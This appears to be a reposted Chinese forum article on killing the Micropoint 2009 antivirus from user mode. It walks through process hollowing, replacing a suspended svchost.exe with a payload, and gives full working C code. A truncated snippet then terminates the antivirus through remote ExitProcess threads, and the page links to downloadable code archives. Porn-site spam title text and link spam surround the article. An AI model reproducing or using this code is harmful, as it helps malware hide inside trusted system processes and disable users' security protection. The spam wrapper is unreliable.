成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Ring3下WX方法結束微點2009

安全 黑客攻防
微點的主動防御沒有攔截一些系統進程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危險動作。因為這些進程通常是不危險的,我們要做的就是把它們中的某個變成危險進程,然后用這個危險進程猥褻微點。即用進程注入的方法把svhost.exe偷換成TerminateMP.exe(結束微點的程序),也就是所謂的借尸還魂...

微點的主動防御沒有攔截一些系統進程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危險動作。因為這些進程通常是不危險的,我們要做的就是把它們中的某個變成危險進程,然后用這個危險進程猥褻微點。即用進程注入的方法把svhost.exe偷換成TerminateMP.exe(結束微點的程序),也就是所謂的借尸還魂。

操作步驟如下:

1.調用CretaeProcess函數創建第一個進程(svhost.exe),該進程處于suspend模式(記得參數CREATE_SUSPENDED ).

2.調用GetThreadContext函數獲取第一個進程的各個寄存器值.其中EBX的值指向的就是該進程的PEB,EAX寄存器保存了該進程的入口點 (entry point)

3.從PEB中獲取該進程的 base_address, [ebx+8]的值

lkd> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void            //映像基址
... ...

4.把第二個進程(TerminateMP.exe)讀入到內存中,用ReadFile函數調用即可,注意如果文件對齊和內存對齊不一樣的話,必須做必要的對齊操作.

5.如果第二個進程和第一個進程有相同的基地址(base-address),并且第二個進程的大小小于第一個進程,則只要簡單的調用WriteProcessMemory函數覆蓋掉第一個進程的進程空間,然后恢復運行即可.

6.否則的話,先調用ZwUnmapViewOfSection把第一個進程的鏡像映射去掉,該函數由ntdll.dll導出.然后調用VertualAllocEX函數在第一個進程內存空間里面申請足夠大的內存.然后拷貝第二個進程的鏡像到該空間(利用WriteProcessMemory函數)

7.假如調用ZwUnmapViewOfSection操作失敗,但是第二個exe是可重定位的.則可以在第一個進程空間里面的任何位置開始申請足夠大的空間,在該分配的空間對第二個進程進行重定位.然后拷貝重定位后的exe到第一個進程空間里,開始位置就是申請的空間位置.

8.用第二個進程(TerminateMP.exe)的base-address修正PEB中相應的值,位置是[ebx+8]

9.用EAX設置第二個進程( TerminateMP.exe )的入口點地址

10.調用SetThreadContext函數修正

11.調用ResumeThread函數恢復svhost.exe運行.

實現代碼可以參考 http://bbs.pediy.com/showthread.php?t=41873

這里提供一份更簡短的代碼,便于看清操作過程

BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize;    //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,
"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));   
memset(&pi, 0, sizeof(pi)); 
si.cb = sizeof(si);

hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ|
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;   
    ::ReadFile( hFile   
        , pBuf   
        , dwFileSize   
        , &dwNumberOfBytesRead   
        , NULL   
        );    
::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//檢查PE結構
//以掛起方式進程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,
NULL,&si,&pi); 

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果調用失敗
{
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof
(unsigned long),NULL);
if (!BaseAddr)
{
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
}
//拆卸傀儡進程內存模塊
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess, 
   (void *)NtHeader.OptionalHeader.ImageBase,
   NtHeader.OptionalHeader.SizeOfImage, 
   MEM_RESERVE|MEM_COMMIT, 
   PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
   DWORD wrongFlag = GetLastError();
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
} 
//替換傀儡進程內存數據
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.
SizeOfHeaders, &retByte))
{
   DWORD wrongFlag2 = GetLastError(); 
}
//DOS 頭 + PE 頭 + 區塊表的總大小
//定位到區塊頭
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
   //定位到各個區塊
   ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],
sizeof(IMAGE_SECTION_HEADER));
   WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.
VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
   VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.
VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 執行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8), 
   &ImageBase,   //4194304
   4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile); 
delete[] pBuf;
return TRUE;
}

 

用以上方法啟動 TerminateMP.exe之后,系統中沒有TerminateMP.exe進程,只有被替換了的svhost.exe

在svhost.exe進程中可以輕松地用 OpenProcess打開微點的進程,但是要結束微點的進程還是很麻煩的(Ring3下)。某90后用創建遠程錯誤線程的方法達到了目的(這么挫的方法都想得出來)。

EnableDebugPriv(_T("SeDebugPrivilege"));
HMODULE hModule = GetModuleHandle("kernel32.dll");
unsigned long FunAddr = (unsigned long)GetProcAddress(hModule,"ExitProcess");
for (int i=0;i

 

完整代碼: 進程注入InjectProcess.rar 結束微點TerminateMP.rar

【編輯推薦】

  1. 08年防病毒產品檢驗結果:微軟、微點、360在列
  2. 瑞星就“微點事件”再次發表聲明
  3. 病毒的模仿秀后門程序偽裝可愛小企鵝
責任編輯:安泉 來源: 看雪軟件安全論壇
相關推薦

2017-08-24 11:00:56

Linux用戶空間內核空間

2009-11-24 14:28:17

APC

2009-02-25 17:22:35

2017-11-24 10:37:49

2009-04-09 13:03:36

2009-12-17 15:32:12

互聯網

2009-02-17 18:07:38

2009-11-18 09:25:02

linux應用程序

2009-07-24 10:19:29

2009-06-17 16:31:32

2009-08-17 08:39:41

2009-03-10 10:41:12

H3C無線網絡融合

2010-01-05 23:07:44

回眸2009H3C

2009-02-18 16:18:29

江民虛假病毒微點

2009-02-23 12:22:12

2009-02-20 09:54:50

東方微點瑞星

2009-06-10 10:12:32

2009-03-03 17:12:27

H3C峰會IToIP

2010-01-21 10:18:17

成績查詢

2009-02-19 08:31:32

3GSM2009微軟Windows Mob
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久精品视频免费观看 | 91 在线 | 在线观看免费av网 | 高清一区二区三区 | 午夜私人影院在线观看 | 久久精品国产亚洲 | 国产免费a | 91精品久久久久久久久99蜜臂 | 久久国产精品-久久精品 | 久久最新网址 | 免费的av网站 | 日日骚av | 国产精品二区三区 | 九九久久精品 | 91欧美精品成人综合在线观看 | 久久国色 | 欧美视频二区 | 国产日韩亚洲欧美 | 欧美精品一区二区三区在线 | 98成人网 | 欧美视频一级 | 黄色大片网站 | 国产精品国产自产拍高清 | 成人三级av | 99精品国产一区二区青青牛奶 | 久久久久久久久久久国产 | 日韩一区精品 | 亚洲欧美视频一区 | 亚洲综合国产精品 | 久久久青草婷婷精品综合日韩 | 久久亚洲天堂 | 久久久久久久久久久久久9999 | 黄色片大全在线观看 | 成人av网站在线观看 | 亚洲一区二区三区在线播放 | 精产国产伦理一二三区 | 午夜爱爱毛片xxxx视频免费看 | 精品久久久久久红码专区 | 久久久久九九九九 | 超碰97人人人人人蜜桃 | 欧美激情在线一区二区三区 |